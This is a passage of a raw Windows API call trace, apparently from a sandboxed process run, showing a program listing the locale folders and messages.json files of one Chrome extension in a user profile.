ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.217] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.217] GetProcessHeap () returned 0x550000 [0276.217] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.217] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0276.217] GetProcessHeap () returned 0x550000 [0276.217] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.217] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.217] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b8120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.217] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841b8120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.217] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.218] GetProcessHeap () returned 0x550000 [0276.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.218] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0276.218] GetProcessHeap () returned 0x550000 [0276.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.219] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.219] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841bf650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.219] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841bf650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.219] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.219] GetProcessHeap () returned 0x550000 [0276.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.219] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0276.219] GetProcessHeap () returned 0x550000 [0276.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.220] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841c9290, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.220] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841c9290, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.220] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841c9290, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.220] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.220] GetProcessHeap () returned 0x550000 [0276.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.220] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0276.220] GetProcessHeap () returned 0x550000 [0276.220] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.221] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.221] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d07c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.221] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d07c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.222] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.222] GetProcessHeap () returned 0x550000 [0276.222] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.222] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0276.222] GetProcessHeap () returned 0x550000 [0276.222] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.222] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.222] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d7cf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.222] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d7cf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.222] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.223] GetProcessHeap () returned 0x550000 [0276.223] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.223] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0276.223] GetProcessHeap () returned 0x550000 [0276.223] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.225] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.226] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841df220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.226] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841df220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.226] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.226] GetProcessHeap () returned 0x550000 [0276.226] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.226] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0276.226] GetProcessHeap () returned 0x550000 [0276.226] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.226] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.226] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f0390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.226] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f0390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.226] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.227] GetProcessHeap () returned 0x550000 [0276.227] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.227] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0276.227] GetProcessHeap () returned 0x550000 [0276.227] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.228] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.228] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f78c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 